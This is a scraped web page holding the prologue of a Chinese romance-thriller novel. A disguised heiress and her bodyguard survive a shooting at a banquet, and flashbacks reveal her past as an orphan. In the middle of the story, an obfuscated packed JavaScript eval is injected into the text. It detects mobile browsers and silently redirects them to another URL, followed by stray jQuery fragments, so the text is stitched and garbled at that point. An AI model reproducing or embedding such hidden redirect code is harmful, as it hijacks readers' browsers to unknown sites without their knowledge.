默认冷灰
24号文字
方正启体

1. 楔子

作者:顾浅年本书字数:K更新时间:
    宴会厅最惹人瞩目便是那盏水晶灯。


    恁地浮夸,丝丝缕缕地绽开来,像一朵烟花在半空绽放。却不是瞬息的美,长长久久地挂在那里,把数千尺的宴会厅照得犹如白昼。


    有懂行的人议论:“这灯太浮夸了,不知什么样的主家才能镇住场子。”


    上流社会深谙这一套。无论宅子、衣饰、珠宝,都得是人镇得住物,而不能是物压人。


    对面友人笑笑:“劳你操什么心,今天是滕家办宴会。”


    是了,那个滕家。


    在两岸三地,产业涉及建筑、船务、酒店,祖辈从宁波起家,移居港岛已四代有余。现在说起隐形富豪真正的豪门,圈内人都心照不宣地眨眨眼:“那个滕家。”


    圈外人是不知道滕氏家族的。真正有本事的,怕就怕惹眼,藏还来不及,怎会去媒体搏版面。


    今天来参加宴会的人,除了来这种等级宴会拔自己身份的,真正了解背后主家的,都是来走动的。


    不是真要攀上什么关系,而是让滕家知道商圈里走动的还有这样一号人,就很好。


    然而衣香鬓影,觥筹交错,过了会儿,管家出来通知:“先生太太临时有事去澳洲,今晚不能出席。”


    在场无不失望。


    管家又道:“先生太太嘱咐姜小姐代为主持局面。”


    又有年轻男子低声问:“哪个姜小姐?”


    对面声音压得更低:“怎么你不知道么?滕家二少的正牌女友,不对,应该说是未婚妻了。”


    “姜家?没听说过啊。”


    “真正的家族藏得深呢,听说大本营在毛里求斯,常年在欧洲那边走动。”


    “哦,世家联姻啊。”年轻男子顿时没了兴致:“名媛圈里就算再低调,那些小报记者恁地有本事,还不是一样能偷拍到。这里面有几个美女,我数都数的出。这个听都没听说过的姜小姐,肯定貌若无盐……”


    还没说完,他堪堪止住话头。


    仰面,往黑曜石色的盘旋楼梯望去。


    有名纤薄的年轻女子正款款步过阶梯。


    她穿白,不是那种单纯到无一物的白,而是月光一般的神迷,泛一点银灰的珠光。一头黑发整齐地绾在脑后,露出天鹅般修长的脖颈,颈后一颗小小浅棕的痣,让她冷傲中透出些许妩媚。


    一时间,数千尺的宴会厅陷入寂然。几百人无人组织却无比统一的,静候她下楼。


    看着她,有素养的人会想起“别是人间冰雪魂,肌肤绰约清如玉”这样的诗。


    再没文化点的如刚才的年轻男子,脑子里就四个字:冰雪女王。


    他呆呆望着她下凡,啊不,下楼,嘴巴张成半个“O”字形。


    大概他神色太愣怔,她瞧见他了,浅浅地展颜一笑。


    也许宴会厅里有人倒吸了口凉气,也许只是流淌的风。


    原来冷美人笑起来是这样的。


    春水初生,春林初盛。那样明丽的反差,太过动人心魄。


    再没人诟病那盏水晶灯了。因为她一露面,所有盛大到浮夸的光线都赶来为她添彩。光斑凝在她淡色的唇釉上,她本人却不戴任何首饰,只有绾起那头长发的,是一支小小的水晶簪。


    是一簇紫花地丁的形状,就是开在乡野的那种小野花。《本草纲目》说它“平地生者起茎,沟壑边生者起蔓”,生命力十分顽强。


    不知设计师如何巧思选了这样野花的形状,又用净度极高的碎钻一颗颗镶上去。极致对比下,显得这枚簪子特别极了。


    又有知情者耳语:“是滕家二少花千万拍来给她的。”


    她迤迤然走下楼梯来,浅笑嫣然一下,用粤语对宾客致欢迎词。讲了一半停下来,换成英语:“抱歉,我的粤语实在不太流利。”


    她有一口流畅漂亮的女王音,讲起来英文来无懈可击。配合她瓷器一般冷感的长相,完美得不似真人。


    友人撞撞刚才那年轻男子的胳膊肘:“怎么样,一看就是豪门出身吧?”


    她致完辞,人群松动起来。然而就在她倾身去取酒的时候,一个打领结的小胖子不知从哪里钻出来,笑闹着,堪堪撞到她身上。


    “小心。”


    一道沉声。也许其他人是这时才注意到,她身后跟着名保镖。


    这是保镖的天职,尽最大可能不显山不露水。他也确实不惹人瞩目,身材并不多健状,只是一种恰到好处的流畅紧致,一身低调的黑西装,寸头。


    非要视线停在他脸上的时候,才发现他瞳仁格外的黑,沉默的时候习惯唇角紧抿。


    警惕,锋锐,像一只蛰伏的豹。


    并且,有种反主流奶油小生的帅。


    她那头黑发太浓,一把簪子本就绾不牢。被小男孩一撞,簪子叮当掉落在地,她的一头长发散落开来。


    小男孩妈妈吓坏了,忙赶过来:“唔好意思,滕……”


    她说到这里犹豫了。


    豪门规矩严,还没正式订婚就叫“滕少夫人”,会不会不尊重。


    好在对方大气笑笑:“我姓姜,姜雪照。”


    “唔好意思,唔好意思,姜小姐。”年轻贵妇不敢多留,拉着儿子遁了。


    姜雪照垂眸看一眼地上的簪子,声线如冷山淬月,一种巨人于千里之外的好听:“捡起来。”


    她身后的男人没有动作。


    她挑了挑眉,唇角浮出一点笑意:“陈列,捡起来。”


    陈列的眉很浅地蹙了下,也就那么半秒的事。


    然后恢复那种永远冷然的神色:“我是保镖,不是你的狗。”


    就在说话当下,“咻”地一声。


    有人疑惑:“红酒洒了么?”


    直到刚好路过姜雪照身前的一名侍应生倒地,血从肩膀汩汩地流出来。其实不像红酒,红酒太清亮,没有那样的暗和粘稠。


    周围的人这才“啊”地尖叫四散开来——


    有人开枪,并且装了消音器。


    整个宴会厅里最冷静的反而是他和她——陈列摁着姜雪照蹲下,她不是第一次经历这种事了,脸上表情出奇的镇定,只是垂着漂亮的双眸。


    他顺着她视线看一眼。


    她在看先前掉的那枚簪子。


    他一把捡起簪子的同时摁着她后颈掩她逃走,宽大的手掌展开来,护住她最脆弱的颈项。


    她早已提前脱掉了高跟鞋,随他遁走的快而毫无声息。


    他一路护着她来到“安全屋”——作为保镖,他每每随行出席公开活动都会提前选定一处“安全屋”,亲自对这里进行事无巨细的检查,一旦出事就避走过来。


    通常是洗手间,因为谁也不知要在这里躲多久,基本的生理需求比较好解决。


    洗手间非常的宽大,外间阔绰的大理石台面上,摆着吹风漱口水和棉签,焚香是一种很清雅的沙巴茉莉香。


    她赤着脚站在大理石地板上,高跟鞋放在一边,倚住身后的台面。


    脸上的表情并不紧张,只是愣神。


    只是在等着这场事端过去。


    陈列守在门口,压低声通过耳麦跟外场的安保联系。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398592|168667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他没那么蠢去追开枪的人,他的唯一职责是保护她安全。


    直到外场通报开枪的人抓住了。


    他一直背对着姜雪照,这时转过身:“可以走了。”


    姜雪照点点头。


    一头及腰的长发披在肩头,是一种凌乱的漂亮。他看惯了一丝不乱的她,觉得有点违和,这才想起她的簪子还在他口袋里。


    沉默地掏出来递她。


    她垂眸看了,却并不接,浅笑一笑,反而把他的耳麦扯掉,转身对着盥洗镜,用手指梳理了下自己的长发,在脑后绾个髻:“帮我把簪子插上。”


    他不动。


    她又一笑,双手托着脑后的发髻:“快点,我不能松手,一松就散了。”


    他无言地上前,把簪子插进她浓如云雾的发间。


    这期间,她一直在盥洗镜里看着他。


    陈列一抬眸,才发现她左颊下半张面孔,溅上了刚刚侍应生的一滴血。很小,暗暗的红,缀在她脸上,像某种奇异的妆点,一颗暗红宝石做成的小痣。


    这让她显得既旖旎,又冷漠。


    他通常不怎么看她,因着这滴血多看了她一眼。


    姜雪照敏锐地捕捉到,开口叫他:“陈列。”


    “我说了,别这么叫我。”


    “那好,陈先生。”


    “你对今晚的事,好像一点都不意外。”


    姜雪照一挑唇:“滕家因一笔生意跟泰国人有龃龉,今晚的宴会又在公海的邮轮上。你以为滕太太那么好心真叫我来主持局面?她早知道今晚的事,不过是试一试我这个人堪不堪重用。”她挑唇的弧度含了些嘲讽:“滕家的门槛那么高,哪是那么好踏进的。”


    他沉默看她一眼:“你不怕死?”


    这时,已有安保在外做进一步善后搜索的脚步声,夹杂着隐约的人声。


    “哪里会死。”她的笑又变得轻曼了些:“真想闹出人命就不会选这样人多的场合了,那名侍应生也只是受伤。”


    “我不怕。”她抚了抚天鹅般的后颈:“陈列,我只是,有点累。”


    “我说了别这么叫我。”


    “我叫了,又怎样?”


    他向她伸出一只手,她还在笑。


    为什么她总在挑衅他。


    又为什么她清晰知道他的软肋在哪里。


    他终于伸手箍住她脖颈,纤细的,脆弱的,在刚才的一片混乱中、他展开手掌护过的。


    微微拎起她抵在大理石墙砖上,逼着她仰头。


    她皮肤太薄,他还没怎么加力,不过手指箍住她美人筋,她白皙的面庞上就浮一层瑰丽的血色:“我知道你恨我,但你是不是该叫我一声,少夫人?”


    他的神情沉郁下来:“你以为你是谁?真是什么豪门千金?”


    她的发髻蹭着墙,刚刚插好的簪子又掉下来,碎钻镶得结实,没掉,发出熠熠的光泽。


    “阿堇,姜阿堇。”他沉哑的声线提醒她是谁。


    初遇她的时候,她不过是穿一条劣质绸缎裙的孤女,独自住在南方小城河畔一艘废弃的破船上。说是河,也许说是臭水沟更贴切,漫地都是塑料袋和垃圾,结飘萍的水面发出腐朽气息。


    她说:“我叫阿堇,姜阿堇。”


    她赤着一双脚站在船头。船边的泥地上,开着一丛丛紫花地丁。那种生命力格外顽强的小野花,属堇菜科。


    他还可以在避人的角落,叫她一声“阿堇”。可再也无法说出那句,“跟我回家”。


    那艘飘飘摇摇的破船,早就不在了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)